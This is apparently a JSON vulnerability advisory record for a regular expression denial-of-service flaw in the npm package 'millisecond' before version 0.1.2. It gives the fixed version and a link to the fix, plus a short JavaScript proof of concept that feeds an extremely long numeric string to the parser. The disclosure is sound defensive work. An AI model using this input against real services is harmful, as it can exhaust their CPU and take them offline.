{"id":"GHSA-m489-xr35-fjxr","aliases":[],"url":"https://o3.security/vulnerability/GHSA-m489-xr35-fjxr","summary":"Regular Expression Denial of Service in millisecond","details":"Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i<=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.","published":"2021-09-22T20:35:08Z","modified":"2021-09-22T20:34:42Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"millisecond","fixedVersion":"0.1.2"}],"fix":{"url":"https://github.com/unshiftio/millisecond/pull/4","label":"unshiftio/millisecond#4"},"references":[{"type":"WEB","url":"https://github.com/unshiftio/millisecond/pull/4"},{"type":"WEB","url":"https://www.npmjs.com/advisories/59"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2021-09-22T20:34:42Z"}}